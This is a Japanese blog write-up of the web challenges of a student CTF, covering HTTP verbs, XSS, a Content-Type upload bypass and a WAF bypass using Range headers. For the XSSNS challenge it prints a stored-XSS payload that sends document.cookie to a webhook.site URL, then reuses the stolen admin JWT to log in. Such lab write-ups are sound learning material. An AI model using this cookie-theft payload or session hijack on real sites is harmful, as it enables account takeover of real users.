katagaitai-CTF
詳細
はじめに
これは、NRIの採用活動?の一環で行われたCTFのようです。
(結果は採用に一切影響しないとのこと)
結果は、全完でした。
一旦、WebのみのWriteUPです。
HTTP world Pt.1
HTTPの世界を探訪する前に、HTMLの世界をおさらいしましょう。
ソースを見てみるとフラグがありました!
flag:katagaitai-CTF{HT_of_HTML_and_HTTP_means_HyperText}
HTTP world Pt.2
改めてHTTPの世界を探訪しましょう。フラグはレスポンスのどこかに隠されています。
開発者モードでレスポンスを確認すると、フラグがありました!
flag:katagaitai-CTF{head_header_headest}
HTTP world Pt.3
アクセス先のミッションを達成して、4つの条件を満たすとフラグが取得できます。
GET, POST, PUT, DELETE を送ることで、フラグが取れるよう。
上の画像で、Requestの1行目、GETの部分をそれぞれに変えることによって、フラグが取れました。
flag:katagaitai-CTF{There_are_much_more_verbs_in_HTTP}
Parroting
あなたの目的はalert()関数を呼び出すことです。
XSSを入れると、フラグが出てきた。
flag:katagaitai-CTF{:parrot:_Slack_Emoji_Alias_Has_Conflicted_So_Sad}
Type Spoofing
Image uploaderとありますが、 attack.php をアップロードすれば攻撃成功です。
サイトはこんな感じ。
ちなみに配布されたattack.phpは以下の通りです。
<?= $_ENV['FLAG4'] ?>
BurpSuiteでContent Typeを変更して、アップロードすれば良さそう。
Content-Type: text/phpからContent-Type: image/pngに変更。
フラグが表示されました。
flag:katagaitai-CTF{ThisTrickIsAppliedForWebshell}
WAF bypass
WAF (Web Application Firewall) が通信を中継しています。 katagaitai-CTF{...} という文字列を見つけると [censored] に変換してしまうようです。
「The flag is [censored]」と、WAFによって、検閲されていることがわかります。
配布されたWAFのプログラムの一部抜粋です。
app.use('/', proxy('http5', {
userResDecorator: function(proxyRes, proxyResData, userReq, userRes) {
// Replace html contents to censor flags!
return String(proxyResData).replaceAll(/katagaitai-CTF\{.*\}/g, "[censored]");
}})
);
ここで、正規表現によるブロックがあることが確認できます。
ただ、このブロックではkatagaitai-CTF{から、}が出てくるまでの文字列を[censored]に置き換えていることがわかります。
ここで詰まってしまいました。。。
一旦、サイトのレスポンスを確認すると、、、

accept-ranges: bytesが入っていることに気づきました。
これについて調べると
とのことで、レスポンスの一部のみを取得することができるそうです。
よって、Range: bytes=13-をリクエストヘッダに追加することで、フラグの先頭の文字(k)を除いた文字列が出現しました。
flag:katagaitai-CTF{waf_censored_the_flag!}
XSSNS Pt.1
本格的なXSSの問題に取り組む前に、CTF典型の報告機能を体験してもらいます。 「Report admin」のフォームにURLを投稿すると、管理者アカウントになりきったbotが指定のURLにアクセスしてくれます。 この管理者アカウントのユーザ名が最初のフラグです。
サイトにアクセスするとこんな感じです。
Botに報告できる形なので、XSSを埋め込み、CookieにあるJWTをとって、ユーザー名を取得できるか挑戦します。
そのためは、
<script>fetch('https://webhook.site/OOOO/?'+document.cookie)</script>
を投稿文に埋め込みます。
(サニタイズされていないことを祈りながら)
投稿後のサイトを自分で見てみると、
本文に打ったはずの、script文が消えてWebHook側にアクセスがあったので、回避できたことがわかりました!!
あとは、Botにクロールさせるだけですね。
その後WebHookのサイトを見に行くと、、、
Tokenが引っこ抜けました!!
などを用いて、見やすくデコードすると以下の通りです。
無事、Botのユーザー名がわかりました!!!
flag: katagaitai-CTF{the_adm1n_is_w4tch1n9_you}
WriteUP書いていて気づいたんですけど、投稿を見たユーザが分かるようになっていたんですね。。。
XSSNS Pt.2
実践的なXSSに挑戦しましょう。
今度の目的は管理者のユーザーエージェントを取得することです。
先ほどと同じアプリを使用します。
https://webhook.site/ を使用すると、「Your unique URL」に対するアクセス内容がすべて記録されるため、お手軽な誘導先として使用できます。
UserAgentは実は先ほどの問題で、取ることができています。
よくみると、User-agentの部分にフラグが埋まっていますね。
flag: katagaitai-CTF{Mozilla_AppleWebKit_Gecko_Chrome_Safari_CHAOS}
XSSNS Pt.3
今回のXSS集大成の課題は、管理者ユーザが作成した投稿を見ることです。
先ほどと同じアプリを使用します。
これも、先ほどのJWTを用いたら、管理者ユーザとしてログインできそうですね。
JWT(ジョットって読むそうです。最近まで知らなかった。。。)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImthdGFnYWl0YWktQ1RGe3RoZV9hZG0xbl9pc193NHRjaDFuOV95b3V9IiwiaWQiOiJKdDlmZzhGZTRLb3ciLCJpYXQiOjE3Njk4NjY4MjMsImV4cCI6MTc2OTg3MDQyM30.S_Hye0QcZzg9dXToZ6c7dfJrQnO2MWDxXPsxOBEM9aU
The third flagというタイトルの投稿を開くと、、、

フラグゲットです。
flag: The third flag is katagaitai-CTF{y0u_4r3_41r34dy_an_XSS_m4st3r}
おわりに
27卒限定という対象者が限られたCTFに出ることができたのは面白かったです!!
終了後に参加者や社員の方とお話しできたら面白いかと、ほんの少しだけ思いました。
アンケートに書こうと思ったまま忘れてしまったので、ここで。。。
実は、開催日(1/31)の次の日が、防衛省主催のCTFです。
こちらは、27卒以外の学生の方も出場されるようなので、負けないように頑張ります。


















